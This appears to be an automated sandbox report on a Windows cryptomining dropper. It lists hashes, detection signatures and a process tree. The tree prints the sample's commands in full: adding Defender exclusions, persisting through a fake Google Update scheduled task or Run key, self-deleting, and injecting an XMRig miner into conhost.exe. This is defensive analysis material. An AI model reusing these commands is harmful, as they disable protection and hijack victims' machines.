Overview
overview
10Static
static
3grhsghsGHs...y8.exe
windows7-x64
10grhsghsGHs...y8.exe
windows10-2004-x64
10grhsghsGHs...SE.exe
windows7-x64
10grhsghsGHs...SE.exe
windows10-2004-x64
10grhsghsGHs...CD.exe
windows7-x64
10grhsghsGHs...CD.exe
windows10-2004-x64
10grhsghsGHs...Da.exe
windows7-x64
10grhsghsGHs...Da.exe
windows10-2004-x64
10grhsghsGHs...wq.exe
windows7-x64
10grhsghsGHs...wq.exe
windows10-2004-x64
10grhsghsGHs...r7.exe
windows7-x64
10grhsghsGHs...r7.exe
windows10-2004-x64
10grhsghsGHs...XJ.exe
windows7-x64
10grhsghsGHs...XJ.exe
windows10-2004-x64
10grhsghsGHs...eg.exe
windows7-x64
10grhsghsGHs...eg.exe
windows10-2004-x64
10grhsghsGHs...5H.exe
windows7-x64
10grhsghsGHs...5H.exe
windows10-2004-x64
10grhsghsGHs...XN.exe
windows7-x64
10grhsghsGHs...XN.exe
windows10-2004-x64
10grhsghsGHs...T3.exe
windows7-x64
10grhsghsGHs...T3.exe
windows10-2004-x64
10grhsghsGHs...9r.exe
windows7-x64
10grhsghsGHs...9r.exe
windows10-2004-x64
10grhsghsGHs...GR.exe
windows7-x64
10grhsghsGHs...GR.exe
windows10-2004-x64
10grhsghsGHs...EX.exe
windows7-x64
10grhsghsGHs...EX.exe
windows10-2004-x64
10grhsghsGHs...EA.exe
windows7-x64
10grhsghsGHs...EA.exe
windows10-2004-x64
10grhsghsGHs...FB.exe
windows7-x64
10grhsghsGHs...FB.exe
windows10-2004-x64
10Resubmissions
25-01-2024 16:55
240125-vfcyksbhgr 1024-01-2024 17:15
240124-vstf4aecaj 1023-01-2024 19:27
240123-x6cfvagbd9 1023-01-2024 19:27
240123-x6bvbafgem 1023-01-2024 19:27
240123-x6bjjsgbd8 1023-01-2024 19:27
240123-x6ax1sfgek 1023-01-2024 19:27
240123-x6abgsfgej 1023-01-2024 19:27
240123-x591qagbd7 1023-01-2024 19:27
240123-x59d7agbd6 1023-01-2024 19:27
240123-x584esgbd5 10Analysis
-
max time kernel
407s -
max time network
1799s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
23-01-2024 19:27
Static task
static1
Behavioral task
behavioral1
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral3
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win7-20231215-en
Behavioral task
behavioral4
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win7-20231129-en
Behavioral task
behavioral6
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral7
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win7-20231129-en
Behavioral task
behavioral8
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral9
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral11
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral13
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral15
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win7-20231215-en
Behavioral task
behavioral16
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral17
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral19
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win7-20231215-en
Behavioral task
behavioral20
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral21
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral23
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win7-20231129-en
Behavioral task
behavioral24
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral25
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral27
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win7-20231215-en
Behavioral task
behavioral28
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral29
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win7-20231215-en
Behavioral task
behavioral30
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral31
Sample
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Resource
win7-20231215-en
General
-
Target
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
-
Size
2.0MB
-
MD5
a16a669a09bf158058b83e04e69fe38e
-
SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
-
SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
-
SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
-
SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
-
Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs
Processes:
XJEzW6M7WvHaF3EX.exeupdater.exedescription pid process target process PID 2028 created 1312 2028 XJEzW6M7WvHaF3EX.exe Explorer.EXE PID 2028 created 1312 2028 XJEzW6M7WvHaF3EX.exe Explorer.EXE PID 2028 created 1312 2028 XJEzW6M7WvHaF3EX.exe Explorer.EXE PID 2028 created 1312 2028 XJEzW6M7WvHaF3EX.exe Explorer.EXE PID 1072 created 1312 1072 updater.exe Explorer.EXE PID 1072 created 1312 1072 updater.exe Explorer.EXE PID 1072 created 1312 1072 updater.exe Explorer.EXE PID 1072 created 1312 1072 updater.exe Explorer.EXE PID 1072 created 1312 1072 updater.exe Explorer.EXE -
XMRig Miner payload 30 IoCs
Processes:
resource yara_rule behavioral27/memory/2232-72-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/2232-74-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/2232-76-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/2232-77-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/2232-81-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/2232-83-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/2232-85-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/2232-87-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/2232-89-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/2232-96-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/2232-98-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/2232-100-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/2232-102-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/2232-104-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/2232-111-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/2232-113-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/2232-115-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/2232-117-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/2232-121-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/2232-123-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/2232-125-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/2232-127-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/2232-129-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/2232-131-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/2232-133-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/2232-135-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/2232-137-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/2232-139-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/2232-141-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/2232-143-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig -
Deletes itself 1 IoCs
Processes:
cmd.exepid process 2744 cmd.exe -
Executes dropped EXE 1 IoCs
Processes:
updater.exepid process 1072 updater.exe -
Loads dropped DLL 1 IoCs
Processes:
taskeng.exepid process 2164 taskeng.exe -
Processes:
resource yara_rule behavioral27/memory/2232-67-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/2232-72-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/2232-74-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/2232-76-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/2232-77-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/2232-81-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/2232-83-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/2232-85-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/2232-87-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/2232-89-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/2232-96-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/2232-98-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/2232-100-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/2232-102-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/2232-104-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/2232-111-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/2232-113-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/2232-115-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/2232-117-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/2232-121-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/2232-123-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/2232-125-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/2232-127-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/2232-129-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/2232-131-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/2232-133-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/2232-135-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/2232-137-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/2232-139-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/2232-141-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/2232-143-0x0000000140000000-0x00000001407F4000-memory.dmp upx -
Drops file in System32 directory 5 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
Processes:
updater.exedescription pid process target process PID 1072 set thread context of 1712 1072 updater.exe conhost.exe PID 1072 set thread context of 2232 1072 updater.exe conhost.exe -
Drops file in Program Files directory 4 IoCs
Processes:
cmd.exeXJEzW6M7WvHaF3EX.exeupdater.execmd.exedescription ioc process File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Chrome\updater.exe XJEzW6M7WvHaF3EX.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 2596 schtasks.exe 1552 schtasks.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
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Modifies data under HKEY_USERS 3 IoCs
Processes:
WMIC.exepowershell.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 703aaa71e450da01 powershell.exe -
Suspicious behavior: EnumeratesProcesses 25 IoCs
Processes:
XJEzW6M7WvHaF3EX.exepowershell.exepowershell.exepowershell.exeupdater.exepowershell.exepowershell.execonhost.exepid process 2028 XJEzW6M7WvHaF3EX.exe 2028 XJEzW6M7WvHaF3EX.exe 2648 powershell.exe 2028 XJEzW6M7WvHaF3EX.exe 2028 XJEzW6M7WvHaF3EX.exe 2784 powershell.exe 2028 XJEzW6M7WvHaF3EX.exe 2028 XJEzW6M7WvHaF3EX.exe 2028 XJEzW6M7WvHaF3EX.exe 2028 XJEzW6M7WvHaF3EX.exe 2736 powershell.exe 1072 updater.exe 1072 updater.exe 2488 powershell.exe 1072 updater.exe 1072 updater.exe 1068 powershell.exe 1072 updater.exe 1072 updater.exe 1072 updater.exe 1072 updater.exe 1712 conhost.exe 1712 conhost.exe 1072 updater.exe 1072 updater.exe -
Suspicious behavior: LoadsDriver 1 IoCs
Processes:
pid process 464 -
Suspicious use of AdjustPrivilegeToken 31 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exeupdater.exeWMIC.execonhost.exedescription pid process Token: SeDebugPrivilege 2648 powershell.exe Token: SeDebugPrivilege 2784 powershell.exe Token: SeDebugPrivilege 2736 powershell.exe Token: SeDebugPrivilege 2488 powershell.exe Token: SeDebugPrivilege 1068 powershell.exe Token: SeDebugPrivilege 1072 updater.exe Token: SeAssignPrimaryTokenPrivilege 1308 WMIC.exe Token: SeIncreaseQuotaPrivilege 1308 WMIC.exe Token: SeSecurityPrivilege 1308 WMIC.exe Token: SeTakeOwnershipPrivilege 1308 WMIC.exe Token: SeLoadDriverPrivilege 1308 WMIC.exe Token: SeSystemtimePrivilege 1308 WMIC.exe Token: SeBackupPrivilege 1308 WMIC.exe Token: SeRestorePrivilege 1308 WMIC.exe Token: SeShutdownPrivilege 1308 WMIC.exe Token: SeSystemEnvironmentPrivilege 1308 WMIC.exe Token: SeUndockPrivilege 1308 WMIC.exe Token: SeManageVolumePrivilege 1308 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1308 WMIC.exe Token: SeIncreaseQuotaPrivilege 1308 WMIC.exe Token: SeSecurityPrivilege 1308 WMIC.exe Token: SeTakeOwnershipPrivilege 1308 WMIC.exe Token: SeLoadDriverPrivilege 1308 WMIC.exe Token: SeSystemtimePrivilege 1308 WMIC.exe Token: SeBackupPrivilege 1308 WMIC.exe Token: SeRestorePrivilege 1308 WMIC.exe Token: SeShutdownPrivilege 1308 WMIC.exe Token: SeSystemEnvironmentPrivilege 1308 WMIC.exe Token: SeUndockPrivilege 1308 WMIC.exe Token: SeManageVolumePrivilege 1308 WMIC.exe Token: SeLockMemoryPrivilege 2232 conhost.exe -
Suspicious use of WriteProcessMemory 20 IoCs
Processes:
powershell.execmd.exepowershell.exetaskeng.exepowershell.exeupdater.execmd.exedescription pid process target process PID 2784 wrote to memory of 2596 2784 powershell.exe schtasks.exe PID 2784 wrote to memory of 2596 2784 powershell.exe schtasks.exe PID 2784 wrote to memory of 2596 2784 powershell.exe schtasks.exe PID 2744 wrote to memory of 2780 2744 cmd.exe choice.exe PID 2744 wrote to memory of 2780 2744 cmd.exe choice.exe PID 2744 wrote to memory of 2780 2744 cmd.exe choice.exe PID 2736 wrote to memory of 3052 2736 powershell.exe schtasks.exe PID 2736 wrote to memory of 3052 2736 powershell.exe schtasks.exe PID 2736 wrote to memory of 3052 2736 powershell.exe schtasks.exe PID 2164 wrote to memory of 1072 2164 taskeng.exe updater.exe PID 2164 wrote to memory of 1072 2164 taskeng.exe updater.exe PID 2164 wrote to memory of 1072 2164 taskeng.exe updater.exe PID 1068 wrote to memory of 1552 1068 powershell.exe schtasks.exe PID 1068 wrote to memory of 1552 1068 powershell.exe schtasks.exe PID 1068 wrote to memory of 1552 1068 powershell.exe schtasks.exe PID 1072 wrote to memory of 1712 1072 updater.exe conhost.exe PID 2528 wrote to memory of 1308 2528 cmd.exe WMIC.exe PID 2528 wrote to memory of 1308 2528 cmd.exe WMIC.exe PID 2528 wrote to memory of 1308 2528 cmd.exe WMIC.exe PID 1072 wrote to memory of 2232 1072 updater.exe conhost.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:1312
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C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\XJEzW6M7WvHaF3EX.exe"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\XJEzW6M7WvHaF3EX.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:2028 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2648 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2784 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
PID:2596 -
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\XJEzW6M7WvHaF3EX.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2744 -
C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 33⤵PID:2780
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2736 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:3052
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2488 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1068 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
PID:1552 -
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious behavior: EnumeratesProcesses
PID:1712 -
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"3⤵
- Drops file in Program Files directory
PID:1360 -
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:2528 -
C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor3⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1308 -
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2232
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C:\Windows\system32\taskeng.exetaskeng.exe {B9901562-2D58-48C4-BDD6-4496A4D3EDF8} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2164 -
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1072
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
1.5MB
MD5bf283bed1f69e72ce882c90d04377120
SHA1a7606e97b32bce307f062023f86177b369d73043
SHA25693f277cf3089866888e42a33ea6fc6dc1dd98952cd3681edf9b4fc1c855950c5
SHA512f902efb0c697840f9ab49e6cae97e1dee0de39ab6c3ba32ce837252e53284c6ecc6d4e7e9f95b69b1c61c6293ee68d87c173f873714aefcd06f752394300531d
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Filesize
198B
MD537dd19b2be4fa7635ad6a2f3238c4af1
SHA1e5b2c034636b434faee84e82e3bce3a3d3561943
SHA2568066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
SHA51286e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD599719879e4522b010a490d41b98b9e2b
SHA10ea02ed109c90b39799361ee79cad323b03bcea7
SHA256ce3638c78dfb859924ad06a57699f42a9633e71c0b2f462643329546f75cf710
SHA512223ff5a4fcae9cc03b60f69e0c644895ab3617d1dbc07b5e21489a9c29365b1c2b4add1943fd5cb4f776d802491b3cd816ca8037a0658c47859bbc0454e806da
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MD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
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Filesize
2.0MB
MD5a16a669a09bf158058b83e04e69fe38e
SHA1f6c94763850d9e590d86057139e8895a7aacdeea
SHA256cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6